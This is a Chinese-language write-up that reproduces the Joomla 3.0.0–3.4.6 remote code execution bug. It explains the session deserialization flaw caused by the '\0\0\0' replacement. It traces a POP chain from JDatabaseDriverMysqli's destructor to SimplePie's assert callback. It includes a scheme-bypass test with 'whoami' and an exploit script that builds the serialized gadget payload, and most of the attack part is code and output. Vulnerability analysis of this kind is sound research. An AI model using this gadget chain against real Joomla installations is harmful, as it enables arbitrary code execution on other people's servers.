joomla3.4.6-rce分析

前言

前段时间意大利安全研究员Alessandro Groppo 公开了joomla3.0.0-3.4.6的漏洞详情,今天借此机会复现分析一下

原理分析

漏洞根本上来说是源于session的反序列化,在joomla中有一套自己的session处理机制,当产生会话的时候,joomla会将序列化后的数据存储在数据库中,然后将数据从数据库中取出来进行反序列化

写函数: \libraries\joomla\session\storage\database.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
/**
* Write session data to the SessionHandler backend.
*
* @param string $id The session identifier.
* @param string $data The session data.
*
* @return boolean True on success, false otherwise.
*
* @since 11.1
*/
public function write($id, $data)
{
// Get the database connection object and verify its connected.
$db = JFactory::getDbo();

$data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);

try
{
$query = $db->getQuery(true)
->update($db->quoteName('#__session'))
->set($db->quoteName('data') . ' = ' . $db->quote($data))
->set($db->quoteName('time') . ' = ' . $db->quote((int) time()))
->where($db->quoteName('session_id') . ' = ' . $db->quote($id));

// Try to update the session data in the database table.
$db->setQuery($query);

if (!$db->execute())
{
return false;
}
/* Since $db->execute did not throw an exception, so the query was successful.
Either the data changed, or the data was identical.
In either case we are done.
*/
return true;
}
catch (Exception $e)
{
return false;
}
}

读函数:\libraries\joomla\session\storage\database.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
/**
* Read the data for a particular session identifier from the SessionHandler backend.
*
* @param string $id The session identifier.
*
* @return string The session data.
*
* @since 11.1
*/
public function read($id)
{
// Get the database connection object and verify its connected.
$db = JFactory::getDbo();

try
{
// Get the session data from the database table.
$query = $db->getQuery(true)
->select($db->quoteName('data'))
->from($db->quoteName('#__session'))
->where($db->quoteName('session_id') . ' = ' . $db->quote($id));

$db->setQuery($query);

$result = (string) $db->loadResult();

$result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result);

return $result;
}
catch (Exception $e)
{
return false;
}
}

其中,在write函数中

1
$data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);

会将/x00*/x00 替换为 \0\0\0 ,因为protected修饰的变量在序列化后会带有/x00*/x00 而mysql中无法对NULL值进行存储,所以会对该处进行替换

为了保持数据完整性自然会在read函数中将/x00*/x00替换回来,就是下面这句

1
$result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result);

到这里就会出现一个问题,如果写入的反序列化字符串存在/0/0/0,当read函数读取的时候,就会将其替换成\x00*\x00这样输入的字符串就少了三个字符,如下程序

1
2
3
4
<?php
$result = 'admin\0\0\0admin';
$result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result);
echo $result;

该段输出为adminN*Nadmin,很轻易看出少了三个字符,这样在session反序列化时由于前面声明的字符串长度并未改变,所以会吃掉后面的三个字符,这样我们就可以通过这个利用点将两处反序列化中间的字段吃掉,使第二部分内容逃出来进行反序列化。

POP链构造

起始触发点为 /libraries/joomla/database/driver/mysqli.php中的__destruct()函数

1
2
3
public function __destruct(){
$this->disconnect();
}

跟进disconnect();

1
2
3
4
5
6
7
8
9
10
public function disconnect() {
// Close the connection.
if ($this->connection) {
foreach ($this->disconnectHandlers as $h) {
call_user_func_array($h, array(&$this));
}
mysqli_close($this->connection);
}
$this->connection = null;
}

需要满足$this->connectiontrue ,这里注意到 call_user_func_array($h, array(&$this));

其中第二个参数无法控制,所以我们无法在此处实现assert的回调执行,于是来寻找其他类是否有可以利用的的方法。

这里找到了SimplePie类的init方法,路径为/libraries/simplepie/simplepie.php,主要代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if ($this->feed_url !== null || $this->raw_data !== null)
{
$this->data = array();
$this->multifeed_objects = array();
$cache = false;

if ($this->feed_url !== null)
{
$parsed_feed_url = SimplePie_Misc::parse_url($this->feed_url);
// Decide whether to enable caching
if ($this->cache && $parsed_feed_url['scheme'] !== '')
{
$cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc');
}

这里我们可以控制call_user_func($this->cache_name_function, $this->feed_url)的两个参数,这样就可以使用assert函数回调进行任意代码执行,同时这里需要满足上面的几个if条件

目前找到了执行任意命令的路径,最后一个问题就是joomla默认是没有载入SimplePie类的,所以这里使用了JSimplepieFactory类,该类在加载时会自动将SimplePie类导入当前环境,关键语句

1
jimport('simplepie.simplepie');

if处最难bypass的是$parsed_feed_url['scheme'] !== '',这里考虑用分割符形如 code||$m='http://yemoli.top'

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
<?php
error_reporting(E_ERROR);
ini_set("display_errors","Off");
class SimplePie_IRI
{
/**
* Scheme
*
* @access private
* @var string
*/
var $scheme;

/**
* User Information
*
* @access private
* @var string
*/
var $userinfo;

/**
* Host
*
* @access private
* @var string
*/
var $host;

/**
* Port
*
* @access private
* @var string
*/
var $port;

/**
* Path
*
* @access private
* @var string
*/
var $path;

/**
* Query
*
* @access private
* @var string
*/
var $query;

/**
* Fragment
*
* @access private
* @var string
*/
var $fragment;

/**
* Whether the object represents a valid IRI
*
* @access private
* @var array
*/
var $valid = array();

/**
* Return the entire IRI when you try and read the object as a string
*
* @access public
* @return string
*/
function __toString()
{
return $this->get_iri();
}

/**
* Create a new IRI object, from a specified string
*
* @access public
* @param string $iri
* @return SimplePie_IRI
*/
function SimplePie_IRI($iri)
{
$iri = (string) $iri;
if ($iri !== '')
{
$parsed = $this->parse_iri($iri);
$this->set_scheme($parsed['scheme']);
$this->set_authority($parsed['authority']);
$this->set_path($parsed['path']);
$this->set_query($parsed['query']);
$this->set_fragment($parsed['fragment']);
}
}

/**
* Create a new IRI object by resolving a relative IRI
*
* @static
* @access public
* @param SimplePie_IRI $base Base IRI
* @param string $relative Relative IRI
* @return SimplePie_IRI
*/
function absolutize($base, $relative)
{
$relative = (string) $relative;
if ($relative !== '')
{
$relative = new SimplePie_IRI($relative);
if ($relative->get_scheme() !== null)
{
$target = $relative;
}
elseif ($base->get_iri() !== null)
{
if ($relative->get_authority() !== null)
{
$target = $relative;
$target->set_scheme($base->get_scheme());
}
else
{
$target = new SimplePie_IRI('');
$target->set_scheme($base->get_scheme());
$target->set_userinfo($base->get_userinfo());
$target->set_host($base->get_host());
$target->set_port($base->get_port());
if ($relative->get_path() !== null)
{
if (strpos($relative->get_path(), '/') === 0)
{
$target->set_path($relative->get_path());
}
elseif (($base->get_userinfo() !== null || $base->get_host() !== null || $base->get_port() !== null) && $base->get_path() === null)
{
$target->set_path('/' . $relative->get_path());
}
elseif (($last_segment = strrpos($base->get_path(), '/')) !== false)
{
$target->set_path(substr($base->get_path(), 0, $last_segment + 1) . $relative->get_path());
}
else
{
$target->set_path($relative->get_path());
}
$target->set_query($relative->get_query());
}
else
{
$target->set_path($base->get_path());
if ($relative->get_query() !== null)
{
$target->set_query($relative->get_query());
}
elseif ($base->get_query() !== null)
{
$target->set_query($base->get_query());
}
}
}
$target->set_fragment($relative->get_fragment());
}
else
{
// No base URL, just return the relative URL
$target = $relative;
}
}
else
{
$target = $base;
}
return $target;
}

/**
* Parse an IRI into scheme/authority/path/query/fragment segments
*
* @access private
* @param string $iri
* @return array
*/
function parse_iri($iri)
{
preg_match('/^(([^:\/?#]+):)?(\/\/([^\/?#]*))?([^?#]*)(\?([^#]*))?(#(.*))?$/', $iri, $match);
for ($i = count($match); $i <= 9; $i++)
{
$match[$i] = '';
}
return array('scheme' => $match[2], 'authority' => $match[4], 'path' => $match[5], 'query' => $match[7], 'fragment' => $match[9]);
}

/**
* Remove dot segments from a path
*
* @access private
* @param string $input
* @return string
*/
function remove_dot_segments($input)
{
$output = '';
while (strpos($input, './') !== false || strpos($input, '/.') !== false || $input === '.' || $input === '..')
{
// A: If the input buffer begins with a prefix of "../" or "./", then remove that prefix from the input buffer; otherwise,
if (strpos($input, '../') === 0)
{
$input = substr($input, 3);
}
elseif (strpos($input, './') === 0)
{
$input = substr($input, 2);
}
// B: if the input buffer begins with a prefix of "/./" or "/.", where "." is a complete path segment, then replace that prefix with "/" in the input buffer; otherwise,
elseif (strpos($input, '/./') === 0)
{
$input = substr_replace($input, '/', 0, 3);
}
elseif ($input === '/.')
{
$input = '/';
}
// C: if the input buffer begins with a prefix of "/../" or "/..", where ".." is a complete path segment, then replace that prefix with "/" in the input buffer and remove the last segment and its preceding "/" (if any) from the output buffer; otherwise,
elseif (strpos($input, '/../') === 0)
{
$input = substr_replace($input, '/', 0, 4);
$output = substr_replace($output, '', strrpos($output, '/'));
}
elseif ($input === '/..')
{
$input = '/';
$output = substr_replace($output, '', strrpos($output, '/'));
}
// D: if the input buffer consists only of "." or "..", then remove that from the input buffer; otherwise,
elseif ($input === '.' || $input === '..')
{
$input = '';
}
// E: move the first path segment in the input buffer to the end of the output buffer, including the initial "/" character (if any) and any subsequent characters up to, but not including, the next "/" character or the end of the input buffer
elseif (($pos = strpos($input, '/', 1)) !== false)
{
$output .= substr($input, 0, $pos);
$input = substr_replace($input, '', 0, $pos);
}
else
{
$output .= $input;
$input = '';
}
}
return $output . $input;
}

/**
* Replace invalid character with percent encoding
*
* @access private
* @param string $string Input string
* @param string $valid_chars Valid characters
* @param int $case Normalise case
* @return string
*/
function replace_invalid_with_pct_encoding($string, $valid_chars, $case = SIMPLEPIE_SAME_CASE)
{
// Normalise case
if ($case & SIMPLEPIE_LOWERCASE)
{
$string = strtolower($string);
}
elseif ($case & SIMPLEPIE_UPPERCASE)
{
$string = strtoupper($string);
}

// Store position and string length (to avoid constantly recalculating this)
$position = 0;
$strlen = strlen($string);

// Loop as long as we have invalid characters, advancing the position to the next invalid character
while (($position += strspn($string, $valid_chars, $position)) < $strlen)
{
// If we have a % character
if ($string[$position] === '%')
{
// If we have a pct-encoded section
if ($position + 2 < $strlen && strspn($string, '0123456789ABCDEFabcdef', $position + 1, 2) === 2)
{
// Get the the represented character
$chr = chr(hexdec(substr($string, $position + 1, 2)));

// If the character is valid, replace the pct-encoded with the actual character while normalising case
if (strpos($valid_chars, $chr) !== false)
{
if ($case & SIMPLEPIE_LOWERCASE)
{
$chr = strtolower($chr);
}
elseif ($case & SIMPLEPIE_UPPERCASE)
{
$chr = strtoupper($chr);
}
$string = substr_replace($string, $chr, $position, 3);
$strlen -= 2;
$position++;
}

// Otherwise just normalise the pct-encoded to uppercase
else
{
$string = substr_replace($string, strtoupper(substr($string, $position + 1, 2)), $position + 1, 2);
$position += 3;
}
}
// If we don't have a pct-encoded section, just replace the % with its own esccaped form
else
{
$string = substr_replace($string, '%25', $position, 1);
$strlen += 2;
$position += 3;
}
}
// If we have an invalid character, change into its pct-encoded form
else
{
$replacement = sprintf("%%%02X", ord($string[$position]));
$string = str_replace($string[$position], $replacement, $string);
$strlen = strlen($string);
}
}
return $string;
}

/**
* Check if the object represents a valid IRI
*
* @access public
* @return bool
*/
function is_valid()
{
return array_sum($this->valid) === count($this->valid);
}

/**
* Set the scheme. Returns true on success, false on failure (if there are
* any invalid characters).
*
* @access public
* @param string $scheme
* @return bool
*/
function set_scheme($scheme)
{
if ($scheme === null || $scheme === '')
{
$this->scheme = null;
}
else
{
$len = strlen($scheme);
switch (true)
{
case $len > 1:
if (!strspn($scheme, 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+-.', 1))
{
$this->scheme = null;
$this->valid[__FUNCTION__] = false;
return false;
}

case $len > 0:
if (!strspn($scheme, 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz', 0, 1))
{
$this->scheme = null;
$this->valid[__FUNCTION__] = false;
return false;
}
}
$this->scheme = strtolower($scheme);
}
$this->valid[__FUNCTION__] = true;
return true;
}

/**
* Set the authority. Returns true on success, false on failure (if there are
* any invalid characters).
*
* @access public
* @param string $authority
* @return bool
*/
function set_authority($authority)
{
if (($userinfo_end = strrpos($authority, '@')) !== false)
{
$userinfo = substr($authority, 0, $userinfo_end);
$authority = substr($authority, $userinfo_end + 1);
}
else
{
$userinfo = null;
}

if (($port_start = strpos($authority, ':')) !== false)
{
$port = substr($authority, $port_start + 1);
$authority = substr($authority, 0, $port_start);
}
else
{
$port = null;
}

return $this->set_userinfo($userinfo) && $this->set_host($authority) && $this->set_port($port);
}

/**
* Set the userinfo.
*
* @access public
* @param string $userinfo
* @return bool
*/
function set_userinfo($userinfo)
{
if ($userinfo === null || $userinfo === '')
{
$this->userinfo = null;
}
else
{
$this->userinfo = $this->replace_invalid_with_pct_encoding($userinfo, 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~!$&\'()*+,;=:');
}
$this->valid[__FUNCTION__] = true;
return true;
}

/**
* Set the host. Returns true on success, false on failure (if there are
* any invalid characters).
*
* @access public
* @param string $host
* @return bool
*/
function set_host($host)
{
if ($host === null || $host === '')
{
$this->host = null;
$this->valid[__FUNCTION__] = true;
return true;
}
elseif ($host[0] === '[' && substr($host, -1) === ']')
{
if (Net_IPv6::checkIPv6(substr($host, 1, -1)))
{
$this->host = $host;
$this->valid[__FUNCTION__] = true;
return true;
}
else
{
$this->host = null;
$this->valid[__FUNCTION__] = false;
return false;
}
}
else
{
$this->host = $this->replace_invalid_with_pct_encoding($host, 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~!$&\'()*+,;=', SIMPLEPIE_LOWERCASE);
$this->valid[__FUNCTION__] = true;
return true;
}
}

/**
* Set the port. Returns true on success, false on failure (if there are
* any invalid characters).
*
* @access public
* @param string $port
* @return bool
*/
function set_port($port)
{
if ($port === null || $port === '')
{
$this->port = null;
$this->valid[__FUNCTION__] = true;
return true;
}
elseif (strspn($port, '0123456789') === strlen($port))
{
$this->port = (int) $port;
$this->valid[__FUNCTION__] = true;
return true;
}
else
{
$this->port = null;
$this->valid[__FUNCTION__] = false;
return false;
}
}

/**
* Set the path.
*
* @access public
* @param string $path
* @return bool
*/
function set_path($path)
{
if ($path === null || $path === '')
{
$this->path = null;
$this->valid[__FUNCTION__] = true;
return true;
}
elseif (substr($path, 0, 2) === '//' && $this->userinfo === null && $this->host === null && $this->port === null)
{
$this->path = null;
$this->valid[__FUNCTION__] = false;
return false;
}
else
{
$this->path = $this->replace_invalid_with_pct_encoding($path, 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~!$&\'()*+,;=@/');
if ($this->scheme !== null)
{
$this->path = $this->remove_dot_segments($this->path);
}
$this->valid[__FUNCTION__] = true;
return true;
}
}

/**
* Set the query.
*
* @access public
* @param string $query
* @return bool
*/
function set_query($query)
{
if ($query === null || $query === '')
{
$this->query = null;
}
else
{
$this->query = $this->replace_invalid_with_pct_encoding($query, 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~!$&\'()*+,;=:@/?');
}
$this->valid[__FUNCTION__] = true;
return true;
}

/**
* Set the fragment.
*
* @access public
* @param string $fragment
* @return bool
*/
function set_fragment($fragment)
{
if ($fragment === null || $fragment === '')
{
$this->fragment = null;
}
else
{
$this->fragment = $this->replace_invalid_with_pct_encoding($fragment, 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~!$&\'()*+,;=:@/?');
}
$this->valid[__FUNCTION__] = true;
return true;
}

/**
* Get the complete IRI
*
* @access public
* @return string
*/
function get_iri()
{
$iri = '';
if ($this->scheme !== null)
{
$iri .= $this->scheme . ':';
}
if (($authority = $this->get_authority()) !== null)
{
$iri .= '//' . $authority;
}
if ($this->path !== null)
{
$iri .= $this->path;
}
if ($this->query !== null)
{
$iri .= '?' . $this->query;
}
if ($this->fragment !== null)
{
$iri .= '#' . $this->fragment;
}

if ($iri !== '')
{
return $iri;
}
else
{
return null;
}
}

/**
* Get the scheme
*
* @access public
* @return string
*/
function get_scheme()
{
return $this->scheme;
}

/**
* Get the complete authority
*
* @access public
* @return string
*/
function get_authority()
{
$authority = '';
if ($this->userinfo !== null)
{
$authority .= $this->userinfo . '@';
}
if ($this->host !== null)
{
$authority .= $this->host;
}
if ($this->port !== null)
{
$authority .= ':' . $this->port;
}

if ($authority !== '')
{
return $authority;
}
else
{
return null;
}
}

/**
* Get the user information
*
* @access public
* @return string
*/
function get_userinfo()
{
return $this->userinfo;
}

/**
* Get the host
*
* @access public
* @return string
*/
function get_host()
{
return $this->host;
}

/**
* Get the port
*
* @access public
* @return string
*/
function get_port()
{
return $this->port;
}

/**
* Get the path
*
* @access public
* @return string
*/
function get_path()
{
return $this->path;
}

/**
* Get the query
*
* @access public
* @return string
*/
function get_query()
{
return $this->query;
}

/**
* Get the fragment
*
* @access public
* @return string
*/
function get_fragment()
{
return $this->fragment;
}
}

function purl($url)
{
$iri = new SimplePie_IRI($url);
return array(
'scheme' => (string) $iri->get_scheme(),
'authority' => (string) $iri->get_authority(),
'path' => (string) $iri->get_path(),
'query' => (string) $iri->get_query(),
'fragment' => (string) $iri->get_fragment()
);
}

$a = "whoami || $m='http://yemoli.top';";
var_dump(purl($a));

Output

1
2
3
4
5
6
7
8
9
10
11
12
13

array(5) {
["scheme"]=>
string(16) "whoami || ='http"
["authority"]=>
string(12) "yemoli.top';"
["path"]=>
string(0) ""
["query"]=>
string(0) ""
["fragment"]=>
string(0) ""
}

exp编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php 
class JDatabaseDriverMysqli{

protected $disconnectHandlers = array(['SimplePie','init'],'yml');
protected $connection = true;
protected $a;
function __construct(){
$m = new SimplePie();
}
function __destruct(){

$this->disconnect();
}
public function disconnect()
{
if ($this->connection)
{
foreach ($this->disconnectHandlers as $h)
{
call_user_func_array($h, array( &$this));
}

//mysqli_close($this->connection);
}

$this->connection = null;
}
}
class JSimplepieFactory{

}
class JDatabaseDriverMysql {

}
class SimplePie{
var $feed_url="phpinfo()||http://yml.top";
var $javascript = 9999;
var $raw_data = true;
var $cache = true;
var $sanitize;
var $cache_name_function = "assert";
function __construct(){
$this->sanitize = new JDatabaseDriverMysql;
}

function init()
{
echo 'used!!!';
if ($this->feed_url !== null)
{
$parsed_feed_url = parse_url($this->feed_url);
// Decide whether to enable caching
if ($this->cache && $parsed_feed_url['scheme'] !== '')
{
$cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc');
}
}
}
}
$a = new JDatabaseDriverMysqli;
echo serialize($a);
?>

Output

1
O:21:"JDatabaseDriverMysqli":3:{s:21:"*disconnectHandlers";a:2:{i:0;a:2:{i:0;s:9:"SimplePie";i:1;s:4:"init";}i:1;s:3:"yml";}s:13:"*connection";b:1;s:4:"*a";N;}